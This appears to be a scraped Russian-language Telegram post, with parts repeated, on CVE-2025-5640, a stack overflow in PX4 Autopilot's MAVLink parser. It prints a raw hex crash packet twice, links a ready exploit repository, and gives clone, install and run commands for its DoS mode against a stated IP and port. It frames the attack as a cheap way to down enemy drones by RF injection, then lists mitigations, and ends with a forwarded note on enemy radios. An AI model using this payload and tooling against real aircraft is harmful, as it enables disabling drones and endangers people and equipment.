fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b7812731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6354242bdfcef1427429d762cbabe7d3bd9ad7b292fd206fecbc6bd8dee4422f129bb72794905979f8b369b415bacac087b028626846093354bca7cdf5b3aeca117b2f906e83e1fde3e5421fe6b689cd4f9359cdadc82086
3. Через пару секунд симулятор падает, что в боевых условиях означает потерю птички
Готовый инструмент.
https://github.com/mbanyamer/PX4-Military-UAV-Autopilot-1.12.3-Stack-Buffer-Overflow-Exploit-CVE-2025-5640-
Загрузим репозиторий и установим pymavlink для запуска скрипта.
PoC на питоне рассылает пакет по UDP 14540/14550:
Есть режим “check” для проверки живости птички(соединения)
Боевой эффект
- Для наших расчётов птичек: риск потерять разведывательный или ударный борт в момент выхода на цель.
- Для противника:дешёвый DoS без мощной РЭБ - достаточно маломощного SDR, попадающего в тот же диапазон связи.
VPN снижает, но не убирает угрозу. При глушении LTE/Starlink туннель рвётся и MAVLink идёт "чистым". Кроме того, RF-injection в 915 МГц или 2.4 ГГц происходит до TCP/IP-уровня, а значит пакет-убийца долетит, если сигнатура не фильтруется на радиомодеме
Чем закрываться
1. Обновиться. Хотел тут отметить, что версия 1.12.3(https://github.com/PX4/PX4-Autopilot/releases/tag/v1.12.3) вышла еще в сентябре 2021, было бы странно увидеть у себя её, однако от схожих проблем советую рекомендации ниже
2. Можно собрать с ASAN (
3. Включить MAVLink 2 + signing (
4. Фильтрация Msg 332 и схожих на прокси (MAVProxy/Router) или в коде
5. Закрыть порты телеметрии за файрволом, отделять трафик в отдельный VLAN/меш, отслеживать обрывы впн.
6. Настройка фэйлсейф на "RTL -> Land" вместо зависания: падение процесса не должно превращать аппарат в стационарную мишень.
При просмотре mavlink_receiver.cpp в свежих версиях, там не оказалось обработки сообщения с идентификатором MAVLINK_MSG_ID_TRAJECTORY_REPRESENTATION_WAYPOINTS (332) и не включает уязвимую функцию handle_message_trajectory_representation_waypoints
Вместо заключения: CVE-2025-5640 показывает, что иногда легче “выстрелить” пакетом, чем жечь ваттами помех.
https://github.com/PX4/PX4-Autopilot/issues/24915
PX4 Autopilot до v1.12.3 содержит критичное переполнение стека при разборе MAVLink-сообщения
TRAJECTORY_REPRESENTATION_WAYPOINTS (Msg ID 332). Достаточно одной сформированной датаграммы, чтобы процесс mavlink_receiver упал, а птичка перешла в фэйлсейв или полностью потеряла управлениеЧто именно ломается
- Файл:
src/modules/mavlink/mavlink_receiver.cpp- Функция: handle_message_trajectory_representation_waypoints().
Буфер для waypoints лежит на стеке и меньше максимального размера сообщения; лишние байты переписывают соседнюю память - ядро гасит поток по SIGABRT
Как повторить атаку
1. Запустить PX4 SITL (jMAVSim).
2. Отправить “длинный” пакет - пример hex уже приведён в issue:
fdef0000dcea6f4c01006de9d06a0548182a1fcc8b7cc542eb8945a54baa92ee908db9af0195bb5dce5f9ab613be912485d34e577c352c5cdc06592484be1aecd64a07127bda31fc8f41f300a9e4a0eab80d8835f106924f0b89ece3e256dda30e3001f07df4e1633e6f827b7812731dbc3daf1e81fc06cea4d9c8c1525fb955d3eddd7454b54bb740bcd87b00063bd9111d4fb4149658d4ccd92974c97c7158189a8d6354242bdfcef1427429d762cbabe7d3bd9ad7b292fd206fecbc6bd8dee4422f129bb72794905979f8b369b415bacac087b028626846093354bca7cdf5b3aeca117b2f906e83e1fde3e5421fe6b689cd4f9359cdadc82086
3. Через пару секунд симулятор падает, что в боевых условиях означает потерю птички
Готовый инструмент.
https://github.com/mbanyamer/PX4-Military-UAV-Autopilot-1.12.3-Stack-Buffer-Overflow-Exploit-CVE-2025-5640-
Загрузим репозиторий и установим pymavlink для запуска скрипта.
$ git clone https://github.com/mbanyamer/PX4-Military-UAV-Autopilot-1.12.3-Stack-Buffer-Overflow-Exploit-CVE-2025-5640- PX4_CVE-2025-5640
$ cd PX4_CVE-2025-5640
$ pip install pymavlink
PoC на питоне рассылает пакет по UDP 14540/14550:
python3 px4_military_exploit.py --mode dos
Есть режим “check” для проверки живости птички(соединения)
python3 px4_military_exploit.py --mode check --ip 192.168.10.10 --port 14550
Боевой эффект
- Для наших расчётов птичек: риск потерять разведывательный или ударный борт в момент выхода на цель.
- Для противника:дешёвый DoS без мощной РЭБ - достаточно маломощного SDR, попадающего в тот же диапазон связи.
VPN снижает, но не убирает угрозу. При глушении LTE/Starlink туннель рвётся и MAVLink идёт "чистым". Кроме того, RF-injection в 915 МГц или 2.4 ГГц происходит до TCP/IP-уровня, а значит пакет-убийца долетит, если сигнатура не фильтруется на радиомодеме
Чем закрываться
1. Обновиться. Хотел тут отметить, что версия 1.12.3(https://github.com/PX4/PX4-Autopilot/releases/tag/v1.12.3) вышла еще в сентябре 2021, было бы странно увидеть у себя её, однако от схожих проблем советую рекомендации ниже
2. Можно собрать с ASAN (
make px4_sitl_default clang_asan) - ловит подобные баги до вылета в бою.3. Включить MAVLink 2 + signing (
MAV_0_SIGNING=1) - неподписанные пакеты будут отброшены.4. Фильтрация Msg 332 и схожих на прокси (MAVProxy/Router) или в коде
5. Закрыть порты телеметрии за файрволом, отделять трафик в отдельный VLAN/меш, отслеживать обрывы впн.
6. Настройка фэйлсейф на "RTL -> Land" вместо зависания: падение процесса не должно превращать аппарат в стационарную мишень.
При просмотре mavlink_receiver.cpp в свежих версиях, там не оказалось обработки сообщения с идентификатором MAVLINK_MSG_ID_TRAJECTORY_REPRESENTATION_WAYPOINTS (332) и не включает уязвимую функцию handle_message_trajectory_representation_waypoints
Вместо заключения: CVE-2025-5640 показывает, что иногда легче “выстрелить” пакетом, чем жечь ваттами помех.
✍1
Forwarded from Потапов. АО «НПП».
IP-V-Encoder_v1.pdf
19.6 KB
Очень интересные документы противника.
https://silvustechnologies.com/products/streamcaster-radios/
Находиться за 120км от ЛБС в комфортных условиях, выполняя задачу…хочется верить, что мы работаем над спутниковой связью и рассчитываем не только на 5-15км. и «чудесную» оптику.
Потапов. Подписаться ✅
https://silvustechnologies.com/products/streamcaster-radios/
Находиться за 120км от ЛБС в комфортных условиях, выполняя задачу…хочется верить, что мы работаем над спутниковой связью и рассчитываем не только на 5-15км. и «чудесную» оптику.
Потапов. Подписаться ✅